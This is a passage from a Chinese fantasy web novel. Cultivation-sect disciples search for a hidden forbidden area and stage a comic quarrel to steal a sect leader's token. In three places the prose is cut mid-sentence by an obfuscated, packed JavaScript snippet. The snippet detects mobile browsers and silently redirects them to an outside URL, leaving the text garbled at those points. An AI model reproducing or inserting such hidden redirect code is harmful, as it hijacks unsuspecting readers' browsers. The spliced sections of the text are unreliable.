泉芷听了,叹了口气道:“唉,我想也是这么回事。我自己一人去禁地受罚也就算了,怎么好意思拖你们下水?明易道友的考虑我也理解。” 石映心宽慰她:“你放心,就是为了完成因果牌的任务,我们也会帮你。而且我二师兄从没听过因果牌出错的事。”虽然她们尚未知道因果牌上的那句诗词是什么意思吧…… “那如果……”泉芷抬起眼睛看她,眼神有些幽幽的,“没有了因果牌,你还会帮我吗?” 石映心不知道她为什么这么问,按照以往的经验,她说了“巴拉巴拉我会帮你”之后,对方就会感恩戴德地说“谢谢你”了,泉芷却多问了这么一句,一下子把她难倒了。 她沉吟片刻道:“可我们就是跟着因果牌来的,没有这前因,我们便不会遇见。” “怎么会呢。”泉芷摇摇头道,“如果我们有缘的话,怎么都会遇见的。” 石映心便问:“有缘遇见之后呢?还是帮你解毒?” 泉芷脸色暗淡下来:“实话和你说,虽说我以解毒为使命,可这千百年的重担落在我身上的时候,我不觉得我是那个……能改变这一切的人。” 她慢慢地拉住了石映心放在桌上的手,消沉的语气听起来是推心置腹的:“按照故事的发展,能够翻天覆地的人最少也是天纵奇才,就像你和你师兄这样……啊,我不是绑架你们的意思,我是想说……我就是很普通的,和上一辈,上上一辈的族人并无多少差别。” “虽说也有过很长的叛逆期,想着就不生子、直接死了算了,但繁衍和解毒的使命早已深深刻进每一个族人的血脉里,就和那奇毒一样,我无法摆脱……就在我想着随便找一个人生子应付的时候,我遇到了你……和你师兄。” 石映心的大脑始终在卡顿地处理她的话,听到这里才有了些眉目:哦,难道她是想拜托她、让她去说服大师兄和她生孩子? 这好说呀,为什么要这么弯弯绕绕呢? 石映心:“好……” 泉芷:“所以,我绝对不能死。就算解不了奇毒,我也要培养我的孩子,让她比我更强、更聪明、更厉害……” 石映心觉得自己没猜错,还是要和大师兄生孩子嘛:“我明白了。” “你明白了?” “嗯。” 泉芷双眼亮得像深夜里海面上升起的圆月,她拉住石映心的手兴奋道:“你明白就好!对,就是解不了奇毒又如何呢?只要我们四人把日子过好比什么都重要!” “e……m?”石映心数了数,没数拎清,“四个人?” 泉芷:“是啊,你,我,你大师兄,我的孩子。” 石映心:? 所以她在这里起到一个什么作用呢? 55. 第 55 章 可不等她多问一句,忽然外头传来说话的声音,她们自然静下来去听,很快就听到曾换月大喊:“师姐快出来,方大哥说宗主回来了!” 二人对视一眼,似乎交流了什么又没成功交流到什么,反正就出去了。曾换月等人已经在门外等候,看见二人一同出来,还奇怪道:“咦,泉芷已经来了?” 泉芷就说过来换吸水石的,顺便讨论一下禁地的事。 她说得很没错,石映心点了点头,这时见大师兄站在边上又问:“大师兄,你身体好了吗?” 明易颔首:“差不多了,还要多谢泉道友的灵药。”主要是不好也得好了,他怎么放心让这三人去见宗主……想想就头疼。 石映心看看大师兄,又看看泉芷,眼中的情绪难得有些复杂。 方翔笑呵呵道:“宗主得知你们来了,特地叫弟子摆了酒宴,等会几位多少喝点哈,捧捧我们宗主的场。” “别听我师兄乱说。”泉芷瞥他一眼,“宗主只顾自己喝的,一喝起来就没完没了,我们在边上喝点茶水便好。” 不会喝酒的几人这才松了口气。 合欢宗宗主赵有志略有些年纪,头发有三分之一花白,其实对修士来说维持年轻的容貌很容易,不过大家都是有地位的人,长得老一些更显得可靠嘛,也免去被人说大把年纪还装嫩的麻烦,这似乎也成了一种共识。 大殿上见了几人,赵有志表现出长辈的热情:“明易,许久不见了!上次见你是什么时候来着?你跟在慕雲后头,还没她腰高!”又对顾梦真三人说,“这几位小孩倒是没见过,唉,近年事忙,我也很少去归壹派做客了。” 几人行礼,明易道:“赵宗主安好,师父代我们问候您。” 说着拿出一坛酒来送上:“这是师父的意思。” “那我可就不客气了。”送这个他哪里拒绝得了,赵有志立刻笑盈盈地收下酒来,张开鼻孔嗅了嗅,“哦呦,果真是你们归壹派的特产酒!慕道友懂我!” 连忙招呼几人坐下吃东西喝茶,却没问他们要来做什么,真如泉芷所说,很快他就自顾自地喝起酒来,谈一些闲话,什么“上回摘星大会是不是很热闹”“来我们合欢宗有没有不适应的,好好玩几天哈”…… 鲜少出门的石映心三人这会觉得赵宗主非常好说话,就是一个和蔼的长辈;见了些世面的明易等人则知道对方在避重则轻,就是副宗主安蔚然见了他们,都要问一句“你们来合欢宗有什么要事”,赵有志作为宗主,难道真的不在意? 等过一会喝酒上头了,更是什么话都不好商量。 明易心说师父的酒都送了,当时交代他的时候还一副非常肉疼的模样,他可不能就这么让赵宗主糊弄过去。斟酌片刻,主动提起来: “赵宗主,实不相瞒,我们此次冒昧来访是为了宗门任务一事。宗主与我派素来交好,定是知晓归壹派的万事树是天赐神树,因果牌则关乎天下大小事。晚辈听说,一百年前各派便达成了共识,会全力配合因果牌的指示……” 听大师兄提到正事,三个小的纷纷闭嘴不吃了,坐在那眼观鼻鼻观心。 还没入元婴的曾换月模模糊糊想起万事树的传闻,这会见大师兄也这么说,暗道原来因果牌有这么大的本事?跟警·察·证、调查令似的…… “咳咳咳咳……”这晚辈暗示得很明白,赵有志有点喝不下去了,迷糊着眼神道,“哎呀,这酒是好喝,但呛人!” 方翔举酒杯时给师妹使了个眼色,泉芷深呼一口气道:“宗主,您前阵子还问我奇毒一事有没有眉目,正巧今日弟子得了线索,想请教宗主。” 赵有志皱着眉头,有些无奈:“唉,小芷啊,你们鲛人族的事……我们合欢宗几百年来多少任宗主都是束手无策啊,你看我一个酒蒙子能有什么办法呢?” 方翔哈哈道:“宗主您太谦虚了,您要是没有本事,那合欢宗怎么办呀?您这么说,我们这些小辈太惶恐了哈哈哈!” 赵有志:…… 这臭小子怎么还帮外人说话! “嗐,”赵有志摇着头给自己倒酒,“世事难料……本座真是爱莫能助啊。” 就在这时,曾换月把吃糕点的石映心拉了起来:“宗主,我师姐有些晕酒了,我带她出去透透气哈。” 石映心:? 倒也没说什么,把糕点往嘴巴里一塞,顺从地靠在了师妹的肩膀上。 赵有志先是点头,等二人走出去了,才看石映心的桌上根本没有酒啊:“奇怪,这孩子什么时候喝酒了?” 顾梦真嘿嘿道:“我师妹嗅觉灵敏,酒量奇差,闻见酒味就要晕。” 赵有志:“……还有这样的?” “是啊是啊。” 两个师妹一出门,明易便单刀直入地问:“赵宗主,晚辈听说贵宗门有一处百年禁地,可有此事?” 赵有志:“没有啊,这是谁传的谣言?我为何不知道!” 石映心:“真服了,谁给我抖出去了?看我不收拾他!” 明易听到师妹的传音,抿着笑继续问:“说得也是,合欢宗风景如画,是一处洞天福地,若是有如此危险的禁地,不知该隐在何处呢?” 赵有志:“没有没有,压根没有这什么禁地!到底是谁在道听途说?” 石映心:“那当然了,自然不能是在宗门里,谁会发现它在海里呢?” 海里?肯定就是合欢宗大门口的南海了……可海这么大,他们怎么找呢?就是找到了又要怎么进去? 师妹“读心”的次数有限,明易斟酌着如何套出赵宗主更多的话:“传这谣言的人许是别有用心吧……毕竟禁地也是秘境,有危险的地方自然有更大的机缘……所以很多禁地难进难出,还需机缘才可,宗主,您说是吗?” 赵有志喝了口酒,呵呵道:“你说的是有理,想来那人是看上我宗门哪处秘境了,故意在外放话说什么禁地,惹来他人的揣测,真不知道这些人安得什么好心!” 石映心:“禁地在月圆之夜才开,三日之内不出来便永远出不来……我倒不用这么提心吊胆的,他们就是知道禁地的存在了又如何?没有我的宗主令也进不去……归壹派这几个小孩拿着因果牌来势汹汹,我还是继续装疯卖傻吧!” 月圆之夜。三日之内。 宗主令。 明易的心沉了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15899494|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 泉芷时刻观察着他的表情,见他这会脸色不对劲,不由得有些焦灼,忍不住出声道:“宗主,我听闻此禁地与我鲛人族奇毒有关,若是确有其事,为何您不能帮我呢?明明……” “泉芷!”赵有志把酒杯“咚”在桌上,原先带了一些醉色的脸居然正色起来,严肃道,“本座说了,没有禁地!就是有——那你说为何它是禁地呢?” 泉芷怔然地呆住了:“……为什么?” 赵有志把手一摊,无奈道:“因为很危险啊!” 她下意识反驳道:“泉芷不怕……” “我跟你说的不是一回事!”赵有志把手一挥,扶额皱眉,倒酒喝酒。 气氛就此凝滞,明易正奇怪师妹怎么还没传音来,这会又听见了,不过是小师妹:“大师兄不好了,师姐照醉了!” 明易:…… 是了,她是有前车之鉴的。 那没什么好说的了,赵宗主也显然被他们搞得没了酒兴,挥挥手说什么“时候不早了,本座就不耽误你们休息了”,然后抱着酒走了。 屋里几人面面相觑,泉芷想问对方得知了什么线索,但明易先站起来道:“二位道友,有什么事明早再说吧,我和师弟师妹先告辞了。” 他都这么说了,泉芷和方翔也不好意思再问什么。 走到屋外,看到曾换月背着石映心站在那等他们,明易上前道:“我来吧。” 曾换月摇摇头:“没事大师兄,我背得动。” “好。” 今夜就先这样吧,睡觉! 第二日。 明易昨晚给师父送了传音符,早上便收到了回信,上头写着:【看着办】。明易盯了一会,淡定地收了起来然后拿出另一张传音符,这是他以防万一传给掌门师公的,这张上写着:【便宜行事】。 明易:…… 堂堂的归壹派掌门居然纵容弟子去闯别人家禁地,这事说出去谁信呢? 明易漠然地把两张传音符销毁了,传出去有伤两派情谊,有损正派名声。但他不得不感到许多矛盾,难道这么做是对的?可之后合欢宗追究起来,他们该如何是好?总不能把归壹派供出来…… 明易也是做过不少因果牌任务的弟子,往常多是线索明确的惩恶扬善一类的好事,但这两次的任务都有些古怪。他思来想去一会儿,还没想出什么所以然,门外就有人喊他: “大师兄,你怎么还没起啊!” “大师兄是不是身体不舒服,我们进去瞧瞧。” “师姐,你不敲门吗?” …… 还有这几个不省心的,唉,真是前路难料。 明易推开门,正好和石映心迎面撞上,那人“咦”了一声说:“大师兄你醒了。” 明易颔首道:“嗯,怎么了?” 石映心说:“泉芷说要去海里采海螺给我们做传音螺,问我们要不要一起去。” 明易瞧着她清亮的眼睛:“昨晚的事你和她说了?” “不能说吗?” 明易瞅瞅站在后边的泉芷,还有边上朝他眨眼睛的曾换月和顾梦真,只好道:“好,一起去吧。” 56. 第 56 章 靠海吃海,合欢宗对海的探索和运用都很成熟,比如她们宗炼制的防水服和鱼泡泡,就是专门给弟子入海用的。防水服是玫红的,在水中比较明显,鱼泡泡戴在头上,可以维持两个时辰的自在呼吸。 从合欢宗西门出去,再走一段沙滩路,很快就到了泉芷她们平时捕海螺的地方。虽说大伙心知肚明此次只是借找海螺的名义去探探禁地,但平时在山上飞地上走的几人鲜少有玩水的机会,瞧着都有些兴奋。 今日天朗气清,风平浪静,早上日头还不大,温暖的风吹来很适宜,是个下水的好时候。 石映心换上防水服,泉芷凑过来夸她:“这颜色很适合你。” 颜色?石映心不懂时尚,但现在略懂一些人情世故,沉吟片刻道:“大师兄穿得更好看。” 莫名被提到的明易:? 泉芷瞥他一眼:“嗯,还行吧。” 石映心心想泉芷可能是害羞了,点点头没再说话。 明易看看师妹又看看泉芷,总觉得二人之间似乎发生了一些事,不过……映心刚刚是在夸他好看吗?说起来,他以往倒是没了解过她喜欢如何模样,平时也没听她提起谁好看,还以为她在这方面根本不开窍…… 等等,扯远了。 泉芷领着她们下水去,海螺就长在浅海的珊瑚礁处,一片热闹的彩色很好找。日光照得海水透蓝泛绿,一束束落在游过的白底黄条一群鱼上,晃过一片片光斑。 她们第一次这么清楚地看见泉芷的鱼尾,不像曾换月看过的那些美人鱼的红橙黄绿紫,就是和大海融为一体的湖蓝色,游动时像风吹起的波浪,难以言喻的律动感。 她们好奇地摸了摸,触感就是大片的鱼鳞,滑溜溜的,又能感到一些柔软。几人中就数曾换月最激动,毕竟鲛人对她来说原先是“假的但希望是真的”这样的存在,所以现在是“希望成真”了,别提她有多兴奋。别人在找海螺,她绕着泉芷转,眨眼都是浪费。 不过泉芷是没空陪她闹的,很快便说自己要去深处找一找禁地的线索,如果他们不去的话就在这附近玩一玩,别游远了。 四个人当然说去啊去啊,泉芷自然是高兴的。于是他们往深处、远处游去,五双眼睛一同搜寻着禁地的线索。可惜她们找了许久也毫无所获,直到鱼泡泡的时辰到了,这才悻悻回到岸上,大伙都很疲惫。 坐在沙滩上休息时,泉芷便恢复了人腿,她思酌道:“难道只有在月圆之时禁地才会出现?” “我也觉得是这样。”顾梦真施法把自己烘干,“我们都找得很仔细了也没找到,而且我大师兄都是元婴后期了也没发现什么不对劲的。若是他都没察觉,那我们还是趁早放弃吧。” 曾换月也从一开始的兴奋变成了疲惫:“二师兄说得对,我看我们还是月圆之夜再来找找?这两日就好好休息。” 石映心看向大师兄:“比如我们再找机会探探赵宗主的口风?” 明易清楚因果牌不可能给弟子不可能完成的任务,最多伤到还留着一口气的程度吧,但这是很倒霉、处处出差错的极少数情况了。不过他并没有提起这事安慰几人,只是说:“再议吧,先回去休息。” “好。” 石映心:“去吃饭。” “……嗯。” 吃饭的时候遇见了方翔,他说午后有弟子筹备了沙滩球赛,问她们要不要一起去玩,几人连沙滩都是第一次见哪里听过沙滩球,就是不会玩也想去凑凑热闹。明易虽然没兴趣,但肩负着照看师弟师妹的责任,于是也跟了去。 他实在不该去的。 在好端端地坐在那,但第23次被排球砸到之后他如此想。 “不好意思啊这位道友。”砸球来的弟子笑呵呵地走过来和他道歉,并且热情道,“看来我这球技还得多练哈哈哈!为表我的歉意,晚上请你用膳如何?” 明易表情麻木地拒绝了18次用膳的邀约。 那人遗憾地又说了两句客套话,见他反应冷淡,悻悻地抱球离开了,一过去立刻就有一堆人去抢他手上的球,不知是为什么。 “第23次,”顾梦真目瞪口呆地把手指放下来一根,“7次来自女弟子,16次都是男弟子……” “让你们见笑了。”泉芷偷摸摸地又去海底了,换方翔招待他们,“我们宗的弟子看到长得好看的俊男靓女就有些把持不住,哈哈。” 听他习以为常、压根就不尴尬的语气,几人倒觉得自己大惊小怪了。曾换月压住抽搐的嘴角道:“你们宗……挺开放哈。” “食色,性也。”方翔笑眯眯道,“贪性和贪吃又有何区别呢?我们修仙者虽能辟谷,可八大仙门皆有膳堂,你们归壹派还有四座,对不对?” 哎呀这例子举得就很有道理了。三人便点头说是啊是啊,贪吃是人的本性嘛。 方翔又道:“既然如此,贪性为何要被避之不谈呢?定是心中有邪念;若是心中光明磊落、不做害人之事者,贪性又如何?能谈情爱却不谈性,完全是自欺欺人。” 三人给他鼓掌,说有道理啊有道理。 “不过……”方翔见她们很给面子,忍不住笑了笑,转而又叹了口气道,“不过除我们合欢宗外的修仙者,境界越高、情欲越是冷淡,那些不贪吃的就更是心如止水……大概这就是所谓的逆天而行:人若要成仙,须化小爱为大爱吧。” 比如你们仨个,瞅着无忧无虑的;又比如你们大师兄,早已剥离食欲……归壹派的弟子难道都是这般? 就在这时,石映心瞧见又有弟子把球往大师兄那里扔,她方才听了方翔的话,觉得他们合欢宗的弟子们都挺有趣的,这会就很像话本里扔绣球的剧情——心念一动,贪玩地把手中的球往明易一抛,正好砸开了那个弟子扔来的球。 明易本想把球打回去,见是师妹扔来的就接住了,拿着球走过来说:“你们玩好了?” “玩好了玩好了。”曾换月拍拍胳膊上的沙子,“这日头太晒了,我快晒干了,还是回去休息吧。” 方翔适时说:“我们宗门里还有可以玩水的室内小池,要不要去凉快凉快?” 她们又说玩啊玩啊。 明易无奈摇头,不明白师弟师妹们为何有这么多精力和玩心。 顾梦真贴心道:“大师兄要不你先回去休息呗?有我和方道友在能出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15905843|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事?” 明易看向方道友,见他笑眯眯的一张脸,心里不放心极了:“没事,我也去看看。” 没想到刚到小池就赶上了热闹,只见里头忽地炸起楼高的水花,猝不及防地泼了几人一身,池中玩水的弟子连忙游到岸上作鸟兽散。混乱之中,就见水中站着三人,正在急头白脸地吵架。 其中一男弟子道:“贱人,刚和我断了双修契转头就和她修上了,你这不是脚踏两只船是什么!” 他对边有一对粉衣黄衣女弟子,粉衣气势汹汹地和他吵起来:“你少血口喷人了!我分明是先断了契才和她双修的,这哪里算是脚踏两只船?不管是换船换得比较快罢了!” 男弟子大叫:“你说谎!我们已双修一年有余,配合十分默契,你若不是先尝了她的好,怎么可能舍得和我分开?” 黄衣弟子道:“我与她是互通了心意才决定要一同双修,和你们交·身不交心的结契交易不同!” 粉衣弟子下巴一抬:“没错,我与你毫无感情,只是单纯的双修关系,分了就分了,你还在这死缠滥打什么?不嫌丢面啊!” “你!你!你们这对奸妇□□!!” “嘴巴给老娘放干净点,不然别怪我不客气!” “不客气就不客气,谁怕谁!” “看招——” 就见那粉衣女弟子变出大鼓来,气势汹涌地就在水上“咚咚咚”敲了起来,池上的水仿若遭了狂风暴雨,哗地四处乱飞,边上看热闹的吃瓜群众遭殃了一片。 石映心仿佛被水巴掌扇了一脸,差点要在陆地上溺水了,还不等她“咳咳咳”出喉咙里的水来,那鼓声就像敲在她脑壳上似的,震得她脑袋晕头转向,这时又听到一阵琴声,耳朵就开始鸣叫了。 不只是她这样,有些法力稍微弱些的都已经抱着脑袋在地上打滚了,连挣扎跑走的力气都没有。 石映心瞅见师妹痛苦的模样,回过神来将元婴离体,果然离开肉身之后便不再疼痛了,混乱中定睛一看,正和大师兄对上了视线,二人微微点头示意,默契地冲过去,一人一边把那三个乱来的给打飞了。 场面总算消停下来。 回到肉身之中,石映心赶忙去扶住师妹,见她两眼晕晕,已经不知天地为何物了;二师兄也是摇头晃脑的被大师兄扶着。他们还算好的,地上有些弟子都神志不清、七窍流血。 小池里的水少了大半,地上湿漉漉一片,横七竖八地倒着不少人。石映心这才发现方翔不见了,正要问大师兄,却见那边走来二人,正是方翔和副宗主安蔚然。 接下来就是熟悉又陌生的训斥弟子环节,石映心发现不管是合欢宗还是归壹派的长老们训人的话术都很像,甚至语气神态都好相似,上一次见面时看起来温柔婉约的副宗主,教训起弟子来也是很可怕的。 “……你们三人自去戒律堂领罚。” 那三个爬起来跪在地上:“……弟子遵命。” 训完话后,安蔚然又过来安抚石映心几人,和明易客气地交流了几句,又吩咐方翔好好照顾客人……说到这她似乎想到了什么,望了望四周奇怪道:“对了,泉芷呢?” 57. 第 57 章 面对师父的询问,方翔早已想好借口,淡定道:“我和泉芷分头去找您,她应该等会就回来了。” 安蔚然并没多怀疑,又交代了他几句就走了。 几人都松了口气,狼狈地回到屋里整顿一番,还没休息一会泉芷就来敲门了,说自己得知她们撞上了弟子间的冲突,来问几人有没有受伤。 曾换月挥挥手:“受伤倒是没有,就是有点精神损伤……你们合欢宗的乐法还挺厉害啊,我到现在还有些晕晕乎乎的……” 泉芷歉疚道:“实在对不住……” “没事没事,”曾换月扶着脑袋摇摇头,“不关你的事,要怪就怪我们爱凑热闹……” “别这么说……对了,”泉芷的视线往边上的门看去,“映心她也没事吗?” “我师姐好得很呢。” 泉芷便走过去敲门:“是吗,我去看看她。” 曾换月:? 怎么总觉得泉芷特别关心师姐呢?不不不,应该是她的错觉吧?泉芷不是还想和大师兄生孩子来着…… 她站在门边,歪着脑袋看泉芷对师姐一阵嘘寒问暖,扯了一堆之后又说自己想到了一个能拿到宗主令的好办法,听到这曾换月才凑上去:“有什么好办法?” 泉芷被突然冒出来的她吓了一跳,笑了笑道:“不如把明道友他们叫来一起说?” “好啊。” 大伙凑在一起听了她说的办法,桌上一片沉默。方翔放下茶盏,首先笑道:“我同意小芷说的。” 石映心也觉得没什么不可以:“我也同意。” 顾梦真瞥了眼边上的人:“额,大师兄同意我就同意。” 曾换月缩了缩脖子:“我跟二师兄一样。” 群众的目光落在明易身上,他这会的脸色冷冰冰的,瞧着真不、还是好看的。没人知道他漠然双眸下的思绪,总之耐心地等了一会,还是见他点了点头。 大家正要欢呼,明易撇过泉芷和方翔,视线最后落在桌面的茶壶上:“不过你们要适可而止。” 方翔笑眯眯道:“自然自然。” 泉芷松了口气:“肯定肯定。” 未免被赵有志发现,几人确定了作案时间为月圆之夜当晚,偷了东西就马上入海,就是找不到禁地也能趁早返还。大家又集思广益地商讨了许多犯罪细节,补充了几个备用方案,夜深之后总算商定了。 * 赵有志叫来徒弟,问归壹派几人这两日在做什么。 徒弟想了想:“吃饭,捞海螺,玩沙滩球,戏水,听曲……” “正事。”赵有志打断他,“本座问的是他们做了什么正事。” 徒弟苦思冥想,总算想起来一个:“哦,回禀宗主,前日在戏水小池发生了一起冲突,场面失控,伤及了不少无辜弟子,还是归壹派两位道友帮忙控场的,后来副宗主也来了。” “这事本座听说了,真是丢脸啊,嗐。除此之外呢?” “除此之外……”沉思一会,“好似没有了。徒儿见她们一直很悠哉的,这两日由泉师妹和方师弟带着把我们宗门上上下下都玩了个遍……” 赵有志皱起眉头:“他们可是有任务在身,怎会如此悠闲?那三个小的也就算了,明易不该啊……” 徒弟道:“明道友似乎都不感兴趣的,不过他师弟师妹挺闹腾,估计得看着吧。师父,我们宗门与归壹派素来交好,您为何忧心忡忡的呢?其实徒儿见她们师兄妹四人都挺和善的……” “唉,你不用多问,看紧他们便是了。”赵有志挥挥手,拿起酒壶喝酒,“去吧去吧。” “是,师父。” 听徒弟汇报了归壹派几人的动向之后,赵有志有些心神不定,总觉得山雨欲来,却不见风,这平静之下是否藏着什么阴谋呢……罢了罢了!酒入喉肠之后他又想,再怎么着也是归壹派的弟子,就是看在名门正派的份上,他们总不会做出什么太过分的事吧? 嗐…… 到晚上快就寝之前一切还算太平,临睡前有弟子来报,说是后门那有弟子起了争执,已经小打出手了,好在已经有人喊副宗主去了。一听安蔚然去了,赵有志就安心下来,打算大酌一杯慢慢睡去。 喝到一半,徒弟又来了,神色慌慌张张地说:“不好了宗主,归壹派的几位……” 醉醺醺的赵有志猛地直起身来:“他们怎么了?” “额,”徒弟组织了一下措辞,“应该是说,泉芷和方翔因为他们吵起来了……” 大酌半杯的赵有志其实有些神志不清,靠瞪大眼睛让自己清醒:“大晚上的,他们吵什么?” “……其实我也听不明白,不过吵得挺凶的,感觉要动手了。”徒弟道,“宗主,要不你去看看?” 赵有志撑着桌子站起来,他已经换了寝衣,这会又要换上宗主服,真是麻烦唉,摇摇头叹气道:“唉,别家弟子就算了,自家弟子也叫人不省心……” 徒弟见他有些晃晃悠悠的,过去扶了他一把:“宗主,你醉了?” 赵有志立刻变脸正色道:“我没醉!” 徒弟收回手:“哦。” 赵有志飞去查看情况,一凑近就听见下方院子里传来激烈的争吵声,边上还有一些弟子躲起来凑热闹。再定睛一瞧,明易抱剑坐在院中石桌边,神色木然地瞅着桌面,泉芷和方翔二人在他两侧对立,脸色都不太好看。 边上不远处还站着石映心三人,局促地挨在一起,瞧着不知所措。 这两人吵得很投入,甚至没发现他来了。 赵有志刚落地,就听见泉芷不高兴道:“师兄,你明明知晓我马上要到二十生辰,为何不肯让我?” 让?让什么? 方翔冷哼一声:“你若是真着急这事,随便找个人生子活命就行了,何必执着明道友?” 啊?执着谁? 泉芷大声起来:“明道友是最合适的人选!他天资卓越、为人正派,是最好的生子人选!” 赵有志:哦,原来是泉芷生子的事,以明易的才能确实很合适…… 方翔也跟着叫:“爱美之心人皆有之,你也知道他优秀了,我想他和我双修有什么不对!” 赵有志:哦,原来是方翔双修的事,以明易的姿色确实很合…… 等等,什么意思?方翔居然也要找男人双修!??他从来不知道这事! 此时他开始怀疑自己喝醉了。 泉芷:“此事与我鲛人族命运攸关!师兄你找谁双修不行?” 方翔:“怎么的你们鲛人族的命是命我的命就不是命了?那你找谁生子不行?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15912072|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵有志:。 “这怎么能相提并论?方翔你不要太自私自利了!” “分明是你胡搅蛮缠!我自私自利?做你的师兄,从小到大我对你不算好的?” “别扯这些题外话!” “不管题外题内,反正我话就放在这了,这个男人我要定了!” 赵有志:。。 这时候,后边三个旁观的上来劝说了。 曾换月道:“你们冷静,不要再吵了辣,大家都心平气和地好好商量嘛!” 顾梦真说:“是啊是啊,大师兄只有一个,照我看,不如先为泉芷解了燃眉之急,之后再和方大哥双修……” 石映心点头:“嗯嗯。” 赵有志:。。。 “不行!”泉芷拒绝,“我岂能容忍我孩子的父亲和别人双修?” “我也不同意!”方翔否决,“我绝不接受我的修侣和别人生子!” 二人一同看向明易:“明道友,你有何高见?” 一直没说话的明易表情纹丝不动,声线平板:“一生一世一双人。” 曾换月:“我们归壹派就是这样专一的。” 顾梦真:“没错没错,这是传统。” 石映心:“嗯嗯。” 边上围观的弟子议论纷纷:“没想到方师兄也好男风啊”“平时真看不出来哦”“正常啊我之前也喜欢和女弟子双修但现在喜欢和男弟子了”“主要是归壹派来的明道友确实是天人之姿,谁看了不想和他酱酱酿酿呢”…… 赵有志:。。。。 酱酱酿酿是哪样哪样!你们到底想做什么! 此时不出面真是没面了,赵有志捏着拳头放在嘴边一咳,自觉震慑地尴尬登场:“咳咳,那个,几位小友……” 泉芷猛然转头盯住他:“宗主你来得正好。” 赵有志一吓:oO? 方翔目光炯炯地朝他一笑:“好啊,就让宗主来评评理,到底明道友跟谁最合适!” 赵有志二吓:Oo? “宗主您说!” 赵有志心说怎么就轮到他说了,又觉得身为宗主,这可不能乱说,整顿了有些醉晕的脑子,慎重道:“额,此事最要紧的是明易的意愿……” 明易适时开口:“都行。” 赵有志暗骂他没个主意,真不是男人,自己面上还要稳住:“咳!依本座看,还是鲛人族的事更要紧些……” 方翔一拍石桌,没拍出多大声自己的手还给拍麻了,疼得他差点没演下去:“我kao……不服!宗主,从小到大您和师父就偏心泉芷,平日我也认了;可如今这关乎我们二人的终身大事,您若是依旧这般,就别怪我违背师命!” 赵有志被他的叛逆大惊:“方翔,你居然这么看我?本座何时委屈你了?” “怎么就是偏心我了?”泉芷气急败坏道,“若是真的对我好,为何不帮我找解毒之法?日日就知道喝酒喝酒喝酒!” 赵有志被她的谴责重击:“泉芷,你居然这么想我?本座待你不薄啊!” 二人都撇过头去,各有不满;赵有志左看看右看看,最后盯到中间的外人身上,咬牙道:“明易,你到底给他们二人使了什么迷魂术?为何他们如此钟情于你,甚至为你坏了师兄妹情谊!” 58. 第 58 章 明易:“您说笑了。” 赵有志蛮横道:“不管如何,你现在就选一人!” “都好。” “呵,你个大男人……” 泉芷:“宗主您不要勉强他!” 方翔:“这事与他无关,是我和师妹的个人恩怨!” 赵有志:“你们二人居然还帮外人说话……” “大家都冷静不要吵了辣!”曾换月凑过来劝和,“吵架不如打架啊!” 泉芷变出玉笛:“打就打!” 方翔拿来洞箫:“谁怕谁!” 然后笛声箫声就开始打了起来,边上还有归壹派几人在拉偏架,黑夜中灵光乱飞,场面一时很热闹。 赵有志:??? 简直不把他这个宗主放在眼里! 他正要阻止几人胡闹,明易不知何时来到边上拉住了他,很是淡定道:“既然嘴上功夫谁也不饶谁,不如就打一架分个胜负……”话说到这一转,“赵宗主,瞧您脸色……您喝醉了?” “我没醉!”赵有志气死了,一挥手把他甩开,抖着手指着他:“你还好意思说!若不是你这个狐狸精……” 说到这里忽然有些哽咽,面容苦瓜起来:“我好端端的合欢宗究竟是怎么了!为何自我就任以来,同性之好与日俱增?我究竟做错了什么?我究竟做错了什么……” 他越说越委屈,越陷入情绪越沉醉,最后居然仰天长啸起来:“老天岂忍心亡我宗门啊!!啊——” 明易:…… 换月到底给赵宗主的酒里下了什么神志不清丹? 那边还在作秀打架,这边宗主还在哭唧唧,情况一时很混乱,明易正有些头大,忽然发现石映心带着安蔚然飞来了。 见她远远朝自己眨巴几下眼睛,明易疲惫地松了口气,心说这闹剧终于能结束了。 没错,她们的计划是这样的:由石映心假扮赵宗主的徒弟去给他每晚要喝的酒里下曾换月炼制的神志不清丹(至今她不肯说为什么要炼这个),然后顾梦真用呆头呆脑小木人变作师妹的模样,虽说只能做简单的指令,但当个小配角也够了。 石映心将真徒弟打晕取而代之,然后趁着赵宗主在这看他们表演的功夫,在他的屋里寻找宗主令(因此要挑他换好寝衣的时候),找到之后她再去找原先被支开的安蔚然来结束这一切……当然,先前支开安蔚然的弟子也是他们安排的。 安蔚然一来,乱打的几人就停止了胡闹,乖乖地低头认错,表示明早会去认罚;副宗主见她们的诚心模样,还有边上明显喝醉了在说胡话的赵宗主,只想赶紧结束了事,象征性地训了她们几句后就带着赵有志走了。 石映心走过来,把手一摊,手心上放着宗主令。 众人都松了一口气。 